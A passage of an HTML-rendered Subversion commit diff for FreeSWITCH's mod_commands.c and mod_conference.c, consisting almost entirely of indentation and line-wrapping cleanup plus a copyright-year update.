</span><del>-                if (argv[1] &amp;&amp; !strcasecmp(argv[1],&quot;count&quot;)) {
-                    holder.justcount = 1;
-                    if (argv[3] &amp;&amp; !strcasecmp(argv[2], &quot;as&quot;)) {
-                        as = argv[3];
-                    }
</del><ins>+                if (argv[1] &amp;&amp; !strcasecmp(argv[1], &quot;count&quot;)) {
+                        holder.justcount = 1;
+                        if (argv[3] &amp;&amp; !strcasecmp(argv[2], &quot;as&quot;)) {
+                                as = argv[3];
+                        }
</ins><span class="cx">                 }
</span><span class="cx">         } else if (!strcasecmp(command, &quot;channels&quot;) &amp;&amp; argv[1] &amp;&amp; !strcasecmp(argv[1], &quot;like&quot;)) {
</span><span class="cx">                 if (argv[2]) {
</span><span class="lines">@@ -3300,27 +3302,29 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                         if (strchr(argv[2], '%')) {
</span><del>-                                sprintf(sql, &quot;select * from channels where uuid like '%s' or name like '%s' or cid_name like '%s' or cid_num like '%s' order by created_epoch&quot;,
</del><ins>+                                sprintf(sql,
+                                                &quot;select * from channels where uuid like '%s' or name like '%s' or cid_name like '%s' or cid_num like '%s' order by created_epoch&quot;,
</ins><span class="cx">                                                 argv[2], argv[2], argv[2], argv[2]);
</span><span class="cx">                         } else {
</span><del>-                                sprintf(sql, &quot;select * from channels where uuid like '%%%s%%' or name like '%%%s%%' or cid_name like '%%%s%%' or cid_num like '%%%s%%' order by created_epoch&quot;,
</del><ins>+                                sprintf(sql,
+                                                &quot;select * from channels where uuid like '%%%s%%' or name like '%%%s%%' or cid_name like '%%%s%%' or cid_num like '%%%s%%' order by created_epoch&quot;,
</ins><span class="cx">                                                 argv[2], argv[2], argv[2], argv[2]);
</span><span class="cx"> 
</span><span class="cx">                         }
</span><del>-                                        
-                    if (argv[4] &amp;&amp; !strcasecmp(argv[3], &quot;as&quot;)) {
</del><ins>+
+                        if (argv[4] &amp;&amp; !strcasecmp(argv[3], &quot;as&quot;)) {
</ins><span class="cx">                                 as = argv[4];
</span><del>-                    }
</del><ins>+                        }
</ins><span class="cx">                 } else {
</span><span class="cx">                         sprintf(sql, &quot;select * from channels order by created_epoch&quot;);
</span><span class="cx">                 }
</span><span class="cx">         } else if (!strcasecmp(command, &quot;channels&quot;)) {
</span><span class="cx">                 sprintf(sql, &quot;select * from channels order by created_epoch&quot;);
</span><del>-                if (argv[1] &amp;&amp; !strcasecmp(argv[1],&quot;count&quot;)) {
-                    holder.justcount = 1;
-                    if (argv[3] &amp;&amp; !strcasecmp(argv[2], &quot;as&quot;)) {
</del><ins>+                if (argv[1] &amp;&amp; !strcasecmp(argv[1], &quot;count&quot;)) {
+                        holder.justcount = 1;
+                        if (argv[3] &amp;&amp; !strcasecmp(argv[2], &quot;as&quot;)) {
</ins><span class="cx">                                 as = argv[3];
</span><del>-                    }
</del><ins>+                        }
</ins><span class="cx">                 }
</span><span class="cx">         } else if (!strcasecmp(command, &quot;distinct_channels&quot;)) {
</span><span class="cx">                 sprintf(sql, &quot;select * from channels left join calls on &quot;
</span><span class="lines">@@ -3339,23 +3343,18 @@
</span><span class="cx">                 holder.print_title = 0;
</span><span class="cx">                 if ((cmdname = strchr(command, ' ')) &amp;&amp; strcasecmp(cmdname, &quot;as&quot;)) {
</span><span class="cx">                         *cmdname++ = '\0';
</span><del>-                        switch_snprintf(sql, sizeof(sql) - 1, &quot;select name, syntax, description, ikey from interfaces where type = 'api' and name = '%s' order by name&quot;,
-                                                        cmdname);
</del><ins>+                        switch_snprintf(sql, sizeof(sql) - 1,
+                                                        &quot;select name, syntax, description, ikey from interfaces where type = 'api' and name = '%s' order by name&quot;, cmdname);
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_snprintf(sql, sizeof(sql) - 1, &quot;select name, syntax, description, ikey from interfaces where type = 'api' order by name&quot;);
</span><span class="cx">                 }
</span><span class="cx">         } else if (!strcasecmp(command, &quot;nat_map&quot;)) {
</span><del>-                        switch_snprintf(sql, sizeof(sql) - 1, 
-                                &quot;SELECT port, &quot;
-                                &quot;  CASE proto &quot;
-                                &quot;        WHEN 0 THEN 'udp' &quot;
-                                &quot;        WHEN 1 THEN 'tcp' &quot;
-                                &quot;        ELSE 'unknown' &quot;
-                                &quot;  END AS proto, &quot;
-                                &quot;  proto AS proto_num, &quot;
-                                &quot;  sticky &quot;
-                                &quot; FROM nat ORDER BY port, proto&quot;
-                        );
</del><ins>+                switch_snprintf(sql, sizeof(sql) - 1,
+                                                &quot;SELECT port, &quot;
+                                                &quot;  CASE proto &quot;
+                                                &quot;        WHEN 0 THEN 'udp' &quot;
+                                                &quot;        WHEN 1 THEN 'tcp' &quot;
+                                                &quot;        ELSE 'unknown' &quot; &quot;  END AS proto, &quot; &quot;  proto AS proto_num, &quot; &quot;  sticky &quot; &quot; FROM nat ORDER BY port, proto&quot;);
</ins><span class="cx">         } else {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, SHOW_SYNTAX);
</span><span class="cx">                 goto end;
</span><span class="lines">@@ -3374,7 +3373,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;SQL: %s.\n&quot;, sql); */
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strcasecmp(as, &quot;delim&quot;) || !strcasecmp(as, &quot;csv&quot;)) {
</span><span class="cx">                 if (zstr(holder.delim)) {
</span><span class="cx">                         if (!(holder.delim = argv[3])) {
</span><span class="lines">@@ -3427,7 +3426,7 @@
</span><span class="cx">                 holder.stream-&gt;write_function(holder.stream, &quot;-ERR Cannot find format %s\n&quot;, as);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         switch_safe_free(mydata);
</span><span class="cx"> 
</span><span class="lines">@@ -3476,12 +3475,12 @@
</span><span class="cx">         if (argc &lt; 2 || !argv[0]) {
</span><span class="cx">                 goto error;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(l_session = switch_core_session_locate(argv[0]))) {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;-ERR Usage: cannot locate session.\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strcasecmp(argv[1], &quot;sched&quot;)) {
</span><span class="cx">                 x = 2;
</span><span class="cx">                 sched++;
</span><span class="lines">@@ -3497,7 +3496,7 @@
</span><span class="cx">         } else if (!switch_true(argv[x])) {
</span><span class="cx">                 seconds = 0;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (seconds) {
</span><span class="cx">                 if (sched) {
</span><span class="cx">                         switch_core_session_sched_heartbeat(l_session, seconds);
</span><span class="lines">@@ -3508,14 +3507,14 @@
</span><span class="cx">         } else {
</span><span class="cx">                 switch_core_session_disable_heartbeat(l_session);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_session_rwunlock(l_session);
</span><del>-        
-        switch_safe_free(mycmd);        
</del><ins>+
+        switch_safe_free(mycmd);
</ins><span class="cx">         stream-&gt;write_function(stream, &quot;+OK\n&quot;);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><del>-        
- error:
</del><ins>+
+  error:
</ins><span class="cx">         switch_safe_free(mycmd);
</span><span class="cx">         stream-&gt;write_function(stream, &quot;-ERR Usage: uuid_session_heartbeat %s&quot;, HEARTBEAT_SYNTAX);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -3551,7 +3550,7 @@
</span><span class="cx">                         char *var_value = NULL;
</span><span class="cx"> 
</span><span class="cx">                         if (argc == 3) {
</span><del>-                                var_value =        argv[2];
</del><ins>+                                var_value = argv[2];
</ins><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         if ((psession = switch_core_session_locate(uuid))) {
</span><span class="lines">@@ -3600,10 +3599,10 @@
</span><span class="cx"> 
</span><span class="cx">                 if ((psession = switch_core_session_locate(uuid))) {
</span><span class="cx">                         switch_channel_t *channel = switch_core_session_get_channel(psession);
</span><del>-                        int x, y = 0;                
</del><ins>+                        int x, y = 0;
</ins><span class="cx">                         argc = switch_separate_string(vars, ';', argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx"> 
</span><del>-                        for (x = 0 ; x &lt; argc; x++) {
</del><ins>+                        for (x = 0; x &lt; argc; x++) {
</ins><span class="cx">                                 var_name = argv[x];
</span><span class="cx">                                 if (var_name &amp;&amp; (var_value = strchr(var_name, '='))) {
</span><span class="cx">                                         *var_value++ = '\0';
</span><span class="lines">@@ -3616,7 +3615,7 @@
</span><span class="cx">                                         y++;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_core_session_rwunlock(psession);
</span><span class="cx">                         if (y) {
</span><span class="cx">                                 stream-&gt;write_function(stream, &quot;+OK\n&quot;);
</span><span class="lines">@@ -3626,7 +3625,7 @@
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;-ERR No Such Channel!\n&quot;);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, SETVAR_MULTI_SYNTAX);
</span><span class="cx"> 
</span><span class="cx">   done:
</span><span class="lines">@@ -3729,10 +3728,10 @@
</span><span class="cx">         switch_core_session_send_dtmf_string(psession, (const char *) dtmf_data);
</span><span class="cx">         goto done;
</span><span class="cx"> 
</span><del>-usage:
</del><ins>+  usage:
</ins><span class="cx">         stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, UUID_SEND_DTMF_SYNTAX);
</span><span class="cx"> 
</span><del>-done:
</del><ins>+  done:
</ins><span class="cx">         if (psession) {
</span><span class="cx">                 switch_core_session_rwunlock(psession);
</span><span class="cx">         }
</span><span class="lines">@@ -3777,10 +3776,10 @@
</span><span class="cx">         switch_channel_queue_dtmf_string(switch_core_session_get_channel(psession), dtmf_data);
</span><span class="cx">         goto done;
</span><span class="cx"> 
</span><del>-usage:
</del><ins>+  usage:
</ins><span class="cx">         stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, UUID_RECV_DTMF_SYNTAX);
</span><span class="cx"> 
</span><del>-done:
</del><ins>+  done:
</ins><span class="cx">         if (psession) {
</span><span class="cx">                 switch_core_session_rwunlock(psession);
</span><span class="cx">         }
</span><span class="lines">@@ -3896,34 +3895,34 @@
</span><span class="cx"> #define SYSTEM_SYNTAX &quot;&lt;command&gt;&quot;
</span><span class="cx"> SWITCH_STANDARD_API(system_function)
</span><span class="cx"> {
</span><del>-    if (zstr(cmd)) {
-        stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, SYSTEM_SYNTAX);
-        return SWITCH_STATUS_SUCCESS;
-    } 
</del><ins>+        if (zstr(cmd)) {
+                stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, SYSTEM_SYNTAX);
+                return SWITCH_STATUS_SUCCESS;
+        }
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, &quot;Executing command: %s\n&quot;, cmd);
-    if (switch_system(cmd, SWITCH_TRUE) &lt; 0) {
-       switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, &quot;Failed to execute command: %s\n&quot;, cmd);
-    }
-    stream-&gt;write_function(stream, &quot;+OK\n&quot;);
-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, &quot;Executing command: %s\n&quot;, cmd);
+        if (switch_system(cmd, SWITCH_TRUE) &lt; 0) {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, &quot;Failed to execute command: %s\n&quot;, cmd);
+        }
+        stream-&gt;write_function(stream, &quot;+OK\n&quot;);
+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> #define SYSTEM_SYNTAX &quot;&lt;command&gt;&quot;
</span><span class="cx"> SWITCH_STANDARD_API(bg_system_function)
</span><span class="cx"> {
</span><del>-    if (zstr(cmd)) {
-        stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, SYSTEM_SYNTAX);
-        return SWITCH_STATUS_SUCCESS;
-    } 
</del><ins>+        if (zstr(cmd)) {
+                stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, SYSTEM_SYNTAX);
+                return SWITCH_STATUS_SUCCESS;
+        }
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, &quot;Executing command: %s\n&quot;, cmd);
-    if (switch_system(cmd, SWITCH_FALSE) &lt; 0) {
-       switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, &quot;Failed to execute command: %s\n&quot;, cmd);
-    }
-    stream-&gt;write_function(stream, &quot;+OK\n&quot;);
-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, &quot;Executing command: %s\n&quot;, cmd);
+        if (switch_system(cmd, SWITCH_FALSE) &lt; 0) {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, &quot;Failed to execute command: %s\n&quot;, cmd);
+        }
+        stream-&gt;write_function(stream, &quot;+OK\n&quot;);
+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_STANDARD_API(strftime_tz_api_function)
</span><span class="lines">@@ -3939,13 +3938,13 @@
</span><span class="cx">                         *format++ = '\0';
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
-        if (switch_strftime_tz(tz_name, format, date, sizeof(date), 0) == SWITCH_STATUS_SUCCESS) { /* The lookup of the zone may fail. */
</del><ins>+
+        if (switch_strftime_tz(tz_name, format, date, sizeof(date), 0) == SWITCH_STATUS_SUCCESS) {        /* The lookup of the zone may fail. */
</ins><span class="cx">                 stream-&gt;write_function(stream, &quot;%s&quot;, date);
</span><span class="cx">         } else {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;-ERR Invalid Timezone\n&quot;);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -3976,13 +3975,13 @@
</span><span class="cx">         } else {
</span><span class="cx">                 switch_core_session_hupall_matching_var(var, val, cause);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(var)) {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;+OK hangup all channels with cause %s\n&quot;, switch_channel_cause2str(cause));
</span><span class="cx">         } else {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;+OK hangup all channels matching [%s]=[%s] with cause: %s\n&quot;, var, val, switch_channel_cause2str(cause));
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_safe_free(mycmd);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -3991,16 +3990,16 @@
</span><span class="cx"> {
</span><span class="cx">         int len;
</span><span class="cx">         char *mycmd;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(cmd)) {
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        
-        len = strlen(cmd)*2;
</del><ins>+
+        len = strlen(cmd) * 2;
</ins><span class="cx">         mycmd = malloc(len);
</span><del>-        
</del><ins>+
</ins><span class="cx">         stream-&gt;write_function(stream, &quot;%s&quot;, switch_escape_string(cmd, mycmd, len));
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_safe_free(mycmd);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -4024,14 +4023,12 @@
</span><span class="cx"> 
</span><span class="cx">                 if (level == SWITCH_LOG_INVALID) {
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;-ERR Invalid log level!\n&quot;);
</span><del>-                }
-                else if ((tsession = switch_core_session_locate(uuid))) {
</del><ins>+                } else if ((tsession = switch_core_session_locate(uuid))) {
</ins><span class="cx"> 
</span><span class="cx">                         switch_core_session_set_loglevel(tsession, level);
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;+OK\n&quot;);
</span><span class="cx">                         switch_core_session_rwunlock(tsession);
</span><del>-                }
-                else {
</del><ins>+                } else {
</ins><span class="cx">                         stream-&gt;write_function(stream, &quot;-ERR No Such Channel %s!\n&quot;, uuid);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -4123,7 +4120,8 @@
</span><span class="cx">         SWITCH_ADD_API(commands_api_interface, &quot;reload&quot;, &quot;Reload Module&quot;, reload_function, UNLOAD_SYNTAX);
</span><span class="cx">         SWITCH_ADD_API(commands_api_interface, &quot;reloadxml&quot;, &quot;Reload XML&quot;, reload_xml_function, &quot;&quot;);
</span><span class="cx">         SWITCH_ADD_API(commands_api_interface, &quot;sched_api&quot;, &quot;Schedule an api command&quot;, sched_api_function, SCHED_SYNTAX);
</span><del>-        SWITCH_ADD_API(commands_api_interface, &quot;sched_broadcast&quot;, &quot;Schedule a broadcast event to a running call&quot;, sched_broadcast_function, SCHED_BROADCAST_SYNTAX);
</del><ins>+        SWITCH_ADD_API(commands_api_interface, &quot;sched_broadcast&quot;, &quot;Schedule a broadcast event to a running call&quot;, sched_broadcast_function,
+                                   SCHED_BROADCAST_SYNTAX);
</ins><span class="cx">         SWITCH_ADD_API(commands_api_interface, &quot;sched_del&quot;, &quot;Delete a Scheduled task&quot;, sched_del_function, &quot;&lt;task_id&gt;|&lt;group_id&gt;&quot;);
</span><span class="cx">         SWITCH_ADD_API(commands_api_interface, &quot;sched_hangup&quot;, &quot;Schedule a running call to hangup&quot;, sched_hangup_function, SCHED_HANGUP_SYNTAX);
</span><span class="cx">         SWITCH_ADD_API(commands_api_interface, &quot;sched_transfer&quot;, &quot;Schedule a transfer for a running call&quot;, sched_transfer_function, SCHED_TRANSFER_SYNTAX);
</span><span class="lines">@@ -4204,8 +4202,8 @@
</span><span class="cx">         switch_console_set_complete(&quot;add fsctl shutdown restart asap&quot;);
</span><span class="cx">         switch_console_set_complete(&quot;add fsctl shutdown restart elegant&quot;);
</span><span class="cx">         switch_console_set_complete(&quot;add fsctl sps&quot;);
</span><del>-         switch_console_set_complete(&quot;add fsctl sync_clock&quot;);
-         switch_console_set_complete(&quot;add fsctl flush_db_handles&quot;);
</del><ins>+        switch_console_set_complete(&quot;add fsctl sync_clock&quot;);
+        switch_console_set_complete(&quot;add fsctl flush_db_handles&quot;);
</ins><span class="cx">         switch_console_set_complete(&quot;add nat_map reinit&quot;);
</span><span class="cx">         switch_console_set_complete(&quot;add nat_map republish&quot;);
</span><span class="cx">         switch_console_set_complete(&quot;add nat_map status&quot;);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_conferencemod_conferencec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_conference/mod_conference.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_conference/mod_conference.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_conference/mod_conference.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -42,7 +42,7 @@
</span><span class="cx"> 
</span><span class="cx"> static const char global_app_name[] = &quot;conference&quot;;
</span><span class="cx"> static char *global_cf_name = &quot;conference.conf&quot;;
</span><del>-static char *cf_pin_url_param_name =&quot;X-ConfPin=&quot;;
</del><ins>+static char *cf_pin_url_param_name = &quot;X-ConfPin=&quot;;
</ins><span class="cx"> static char *api_syntax;
</span><span class="cx"> static int EC = 0;
</span><span class="cx"> 
</span><span class="lines">@@ -406,12 +406,13 @@
</span><span class="cx"> static void launch_conference_thread(conference_obj_t *conference);
</span><span class="cx"> static void launch_conference_video_thread(conference_obj_t *conference);
</span><span class="cx"> static void *SWITCH_THREAD_FUNC conference_loop_input(switch_thread_t *thread, void *obj);
</span><del>-static switch_status_t conference_local_play_file(conference_obj_t *conference, switch_core_session_t *session, char *path, uint32_t leadin, void *buf, uint32_t buflen);
</del><ins>+static switch_status_t conference_local_play_file(conference_obj_t *conference, switch_core_session_t *session, char *path, uint32_t leadin, void *buf,
+                                                                                                  uint32_t buflen);
</ins><span class="cx"> static switch_status_t conference_member_play_file(conference_member_t *member, char *file, uint32_t leadin);
</span><span class="cx"> static switch_status_t conference_member_say(conference_member_t *member, char *text, uint32_t leadin);
</span><span class="cx"> static uint32_t conference_member_stop_file(conference_member_t *member, file_stop_t stop);
</span><span class="cx"> static conference_obj_t *conference_new(char *name, conf_xml_cfg_t cfg, switch_memory_pool_t *pool);
</span><del>-static switch_status_t chat_send(const char *proto, const char *from, const char *to, const char *subject, 
</del><ins>+static switch_status_t chat_send(const char *proto, const char *from, const char *to, const char *subject,
</ins><span class="cx">                                                                  const char *body, const char *type, const char *hint);
</span><span class="cx"> 
</span><span class="cx"> static void launch_conference_record_thread(conference_obj_t *conference, char *path);
</span><span class="lines">@@ -459,13 +460,13 @@
</span><span class="cx"> 
</span><span class="cx">         if (member-&gt;session) {
</span><span class="cx">                 switch_channel_t *channel = switch_core_session_get_channel(member-&gt;session);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (member-&gt;verbose_events) {
</span><span class="cx">                         switch_channel_event_set_data(channel, event);
</span><span class="cx">                 } else {
</span><span class="cx">                         switch_channel_event_set_basic_data(channel, event);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_event_add_header(event, SWITCH_STACK_BOTTOM, &quot;Member-ID&quot;, &quot;%u&quot;, member-&gt;id);
</span><span class="lines">@@ -678,7 +679,7 @@
</span><span class="cx">                                 conference_stop_file(conference, FILE_STOP_ASYNC);
</span><span class="cx">                         }
</span><span class="cx">                         if (conference-&gt;enter_sound) {
</span><del>-                                conference_play_file(conference, conference-&gt;enter_sound, CONF_DEFAULT_LEADIN, switch_core_session_get_channel(member-&gt;session), 
</del><ins>+                                conference_play_file(conference, conference-&gt;enter_sound, CONF_DEFAULT_LEADIN, switch_core_session_get_channel(member-&gt;session),
</ins><span class="cx">                                                                          switch_test_flag(conference, CFLAG_WAIT_MOD) ? 0 : 1);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -701,7 +702,8 @@
</span><span class="cx">                                         if (!switch_test_flag(conference, CFLAG_BRIDGE_TO)) {
</span><span class="cx">                                                 if (conference-&gt;alone_sound) {
</span><span class="cx">                                                         conference_stop_file(conference, FILE_STOP_ASYNC);
</span><del>-                                                        conference_play_file(conference, conference-&gt;alone_sound, CONF_DEFAULT_LEADIN, switch_core_session_get_channel(member-&gt;session), 1);
</del><ins>+                                                        conference_play_file(conference, conference-&gt;alone_sound, CONF_DEFAULT_LEADIN,
+                                                                                                 switch_core_session_get_channel(member-&gt;session), 1);
</ins><span class="cx">                                                 } else {
</span><span class="cx">                                                         switch_snprintf(msg, sizeof(msg), &quot;You are currently the only person in this conference.&quot;);
</span><span class="cx">                                                         conference_member_say(member, msg, CONF_DEFAULT_LEADIN);
</span><span class="lines">@@ -911,7 +913,7 @@
</span><span class="cx">                         req_iframe = 0;
</span><span class="cx">                         goto do_continue;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (conference-&gt;floor_holder-&gt;id != last_member) {
</span><span class="cx">                         int iframe = 0;
</span><span class="cx"> #if 0
</span><span class="lines">@@ -929,13 +931,13 @@
</span><span class="cx"> 
</span><span class="cx">                         if (vid_frame-&gt;codec-&gt;implementation-&gt;ianacode == 34) {        /* h.263 */
</span><span class="cx">                                 //iframe = (*((int16_t *) vid_frame-&gt;data) &gt;&gt; 12 == 6);
</span><del>-                                iframe = 1;                        
</del><ins>+                                iframe = 1;
</ins><span class="cx">                         } else if (vid_frame-&gt;codec-&gt;implementation-&gt;ianacode == 115) {        /* h.263-1998 */
</span><span class="cx">                                 int y = *((int8_t *) vid_frame-&gt;data + 2) &amp; 0xfe;
</span><span class="cx">                                 iframe = (y == 0x80 || y == 0x82);
</span><span class="cx">                         } else if (vid_frame-&gt;codec-&gt;implementation-&gt;ianacode == 99) {        /* h.264 */
</span><span class="cx">                                 iframe = (*((int16_t *) vid_frame-&gt;data) &gt;&gt; 5 == 0x11);
</span><del>-                        } else {                /* we need more defs */
</del><ins>+                        } else {                        /* we need more defs */
</ins><span class="cx">                                 iframe = 1;
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="lines">@@ -943,7 +945,7 @@
</span><span class="cx">                                 goto do_continue;
</span><span class="cx">                         }
</span><span class="cx"> 
</span><del>-                        req_iframe = 0;                        
</del><ins>+                        req_iframe = 0;
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 last_member = conference-&gt;floor_holder-&gt;id;
</span><span class="lines">@@ -958,8 +960,8 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-        do_continue:
-                
</del><ins>+          do_continue:
+
</ins><span class="cx">                 switch_mutex_unlock(conference-&gt;member_mutex);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -1000,13 +1002,13 @@
</span><span class="cx">         switch_mutex_unlock(globals.hash_mutex);
</span><span class="cx"> 
</span><span class="cx">         conference-&gt;is_recording = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         while (globals.running &amp;&amp; !switch_test_flag(conference, CFLAG_DESTRUCT)) {
</span><span class="cx">                 switch_size_t file_sample_len = samples;
</span><span class="cx">                 switch_size_t file_data_len = samples * 2;
</span><span class="cx">                 int has_file_data = 0, members_with_video = 0;
</span><span class="cx"> 
</span><del>-                  if (conference-&gt;perpetual_sound &amp;&amp; !conference-&gt;async_fnode) {
</del><ins>+                if (conference-&gt;perpetual_sound &amp;&amp; !conference-&gt;async_fnode) {
</ins><span class="cx">                         conference_play_file(conference, conference-&gt;perpetual_sound, CONF_DEFAULT_LEADIN, NULL, 1);
</span><span class="cx">                 } else if (conference-&gt;moh_sound &amp;&amp; (conference-&gt;count == 1 || switch_test_flag(conference, CFLAG_WAIT_MOD)) &amp;&amp; !conference-&gt;async_fnode) {
</span><span class="cx">                         conference_play_file(conference, conference-&gt;moh_sound, CONF_DEFAULT_LEADIN, NULL, 1);
</span><span class="lines">@@ -1044,12 +1046,12 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 /* Start recording if there's more than one participant. */
</span><del>-                if (ready &gt; 1 &amp;&amp; conference-&gt;auto_record &amp;&amp; !conference-&gt;is_recording){
</del><ins>+                if (ready &gt; 1 &amp;&amp; conference-&gt;auto_record &amp;&amp; !conference-&gt;is_recording) {
</ins><span class="cx">                         conference-&gt;is_recording = 1;
</span><span class="cx">                         imember = conference-&gt;members;
</span><span class="cx">                         if (imember) {
</span><span class="cx">                                 switch_channel_t *channel = switch_core_session_get_channel(imember-&gt;session);
</span><del>-                                char *rfile = switch_channel_expand_variables(channel, conference-&gt;auto_record); 
</del><ins>+                                char *rfile = switch_channel_expand_variables(channel, conference-&gt;auto_record);
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Auto recording file: %s\n&quot;, rfile);
</span><span class="cx">                                 launch_conference_record_thread(conference, rfile);
</span><span class="cx">                                 if (rfile != conference-&gt;auto_record) {
</span><span class="lines">@@ -1186,7 +1188,7 @@
</span><span class="cx">                            check if our audio is involved and if so, subtract it from the sample so we don't hear ourselves.
</span><span class="cx">                            Since main frame was 32 bit int, we did not lose any detail, now that we have to convert to 16 bit we can
</span><span class="cx">                            cut it off at the min and max range if need be and write the frame to the output buffer.
</span><del>-                        */
</del><ins>+                         */
</ins><span class="cx">                         for (omember = conference-&gt;members; omember; omember = omember-&gt;next) {
</span><span class="cx">                                 switch_size_t ok = 1;
</span><span class="cx"> 
</span><span class="lines">@@ -1194,7 +1196,7 @@
</span><span class="cx">                                         continue;
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><del>-                                if (!switch_test_flag(omember, MFLAG_CAN_HEAR) &amp;&amp; !switch_test_flag(omember, MFLAG_WASTE_BANDWIDTH) 
</del><ins>+                                if (!switch_test_flag(omember, MFLAG_CAN_HEAR) &amp;&amp; !switch_test_flag(omember, MFLAG_WASTE_BANDWIDTH)
</ins><span class="cx">                                         &amp;&amp; !switch_test_flag(conference, CFLAG_WASTE_BANDWIDTH)) {
</span><span class="cx">                                         continue;
</span><span class="cx">                                 }
</span><span class="lines">@@ -1206,10 +1208,10 @@
